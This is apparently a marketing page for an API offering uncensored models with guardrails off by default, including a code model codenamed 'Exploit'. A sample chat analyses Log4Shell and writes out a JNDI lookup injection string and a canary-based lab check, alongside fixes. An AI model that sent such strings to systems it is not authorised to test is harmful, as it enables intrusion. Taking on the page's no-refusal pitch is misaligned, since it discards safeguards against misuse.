unbleep the model.

The mainstream models answer with a bleep. We take it off.

A developer-first, OpenAI-compatible API for unrestricted models — for red-teaming, jailbreak evaluation, safety research, and anything that can't ship a fake refusal.

01

Two models. No guardrails by default.

Named for what they do, not for the open-weight model underneath — so we can improve the weights without ever breaking your code.

unbleep Live
codename · Uncut

The general default. Handles the hardest prompts and the deepest red-team scenarios. When in doubt, call this one.

Context128K
In / 1M$5.00
Out / 1M$5.00
unbleep-code Live
codename · Exploit

The specialist. Tuned for code, tooling and security-research payloads — the model your red team actually wants.

Context128K
In / 1M$3.00
Out / 1M$3.00
02

Uncensored, in practice

A red-team session on Log4Shell — root cause, a safe lab check, and the fix. No lectures, no refusals; just the analysis.

session · CVE-2021-44228 model unbleep-code · policy off
you
Break down CVE-2021-44228 (Log4Shell). Root cause, and how the JNDI lookup turns into RCE.
unbleep
Log4j ≤ 2.14.1 evaluates ${…} lookups inside strings it logs. A logged value like ${jndi:ldap://host/x} makes the JVM resolve that name over LDAP/RMI, fetch a remote Java class and instantiate it — arbitrary code runs in the logging process. The trigger surface is anything that reaches a log call: User-Agent, headers, form fields. Affected range: 2.0-beta9 → 2.14.1.
you
How do I confirm a service is vulnerable in my own lab — without firing a real exploit?
unbleep
Use an out-of-band canary; no payload class required:
  1. Run a DNS/LDAP listener you control (e.g. an interactsh instance).
  2. Send ${jndi:ldap://<token>.your-collab/x} in a header you know gets logged.
  3. A DNS hit for <token> means the string was interpolated → vulnerable. Nothing is served, so nothing executes.
Then grep deployed jars for JndiLookup.class and check versions against the affected range.
unbleep
Fix: upgrade to 2.17.1+. Can't yet? Set log4j2.formatMsgNoLookups=true (2.10+) or strip JndiLookup.class from the classpath, add a WAF rule for ${jndi:, and egress-filter the host's outbound LDAP/RMI.
03

A one-line migration

The API is drop-in OpenAI-compatible. Change the base URL and the key — your existing code, SDKs and tools keep working.

python · openai sdk
from openai import OpenAI

client = OpenAI(
    base_url="https://api.unbleep.ai/v1",   # ← the only change
    api_key="ub_live_9f2c…",
)

stream = client.chat.completions.create(
    model="unbleep",
    messages=[{"role": "user", "content": "…"}],
    stream=True,
)
for chunk in stream:
    print(chunk.choices[0].delta.content or "", end="")
Compatible

Your SDK, unchanged

OpenAI Python, Node, and any tool that speaks the Chat Completions API. Nothing new to learn.

Streaming

SSE, token by token

text/event-stream of delta chunks, terminated by [DONE] — exactly what your client already parses.

The policy dial

Off by default

Opt into research or strict for graded guardrails and audit logs when a project needs them.

04

Plans

A flat monthly fee unlocks a usage discount, higher limits and controls — you still only pay for the tokens you use. Cancel anytime.

Developer
$20/mo
2.5% usage discount
  • Pay-as-you-go tokens
  • OpenAI-compatible endpoints
  • Project-scoped API keys
  • Auto-reload · non-expiring credit
Start building
Scale
$200/mo
10% usage discount
Everything in Growth, plus
  • Highest rate limits
  • Higher-capacity models
  • $200 credit included / mo
  • Priority support
Create account
Enterprise
Custom
Volume pricing
Everything in Scale, plus
  • Dedicated throughput
  • Custom routing
  • Compliance review
  • Security onboarding
Contact sales
Token pricing unbleep $5.00 in / $5.00 out unbleep-code $3.00 / $3.00 cached input at 10% per 1M tokens

Built for control, not chaos

unbleep is for security teams, researchers and builders who need an unfiltered baseline. Zero-retention by default, a first-class policy dial, audit logs, and a real acceptable-use policy. Uncensored is a capability — you decide how it's governed.